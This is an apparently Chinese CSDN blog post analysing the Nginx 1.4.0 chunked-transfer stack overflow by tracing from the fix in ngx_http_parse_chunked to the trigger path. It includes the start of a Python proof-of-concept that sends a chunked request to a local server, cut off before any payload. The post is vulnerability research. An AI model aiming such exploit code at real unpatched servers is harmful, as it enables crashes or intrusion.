【安全漏洞】从补丁追溯漏洞触发路径

最新推荐文章于 2023-07-05 21:58:32 发布

IT老涵

最新推荐文章于 2023-07-05 21:58:32 发布

阅读量386

点赞数

分类专栏：安全网络程序员文章标签：网络安全安全漏洞计算机网络

本文链接：https://blog.csdn.net/HBohan/article/details/121034986

版权

本文深入分析了一个针对Nginx 1.4.0的栈溢出漏洞，通过补丁回溯触发路径。漏洞源于ngx_http_parse_chunked函数对负值的不当处理，导致在ngx_http_read_discarded_request_body函数中发生栈溢出。文章详细介绍了漏洞复现、数据流及触发条件。

摘要由CSDN通过智能技术生成

背景

操作系统：ubuntu 18.04 64bit

漏洞软件：nginx-1.4.0

【查看资料】

1. 漏洞补丁信息

从补丁可以认识一个漏洞的触发源。

查看github中的补丁信息Fixed chunk size parsing. · nginx/nginx@818807d (github.com)如下：

if (ctx->size < 0 || ctx->length < 0) {
   
        goto invalid;
    }

    return rc;

可以看到补丁中在/src/http/ngx_http_parse.c的ngx_http_parse_chunked函数返回值中增加了对变量ctx->length和ctx->size的负值判断
在这里插入图片描述
查看ctx变量的结构体定义,

struct ngx_http_chunked_s {
   
    ngx_uint_t           state;
    off_t                size;
    off_t                length;
};`在这里插入代码片`

可以看到size和length的类型变量是off_t，而off_t对应了long int，是一个有符号的变量（记住这一点，很重要）。

2. 漏洞触发路径分析

从上一步中可以得到漏洞的根源在于/src/http/ngx_http_parse.c的ngx_http_parse_chunked函数，与负值的变量ctx->length和ctx->size有关，现在开始追踪这两个变量的后续流向。

2.1 漏洞复现
POC信息

从互联网可以找到该漏洞的POC如下：

import socket

host = "127.0.0.1"
ip='127.0.0.1'

raw = '''GET / HTTP/1.1\r\nHost: %s\r\nTransfer-Encoding: chunked\r\nConnection: Keep-Alive\r\n\r\n''' % (host)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, 80))

data1 = raw
data1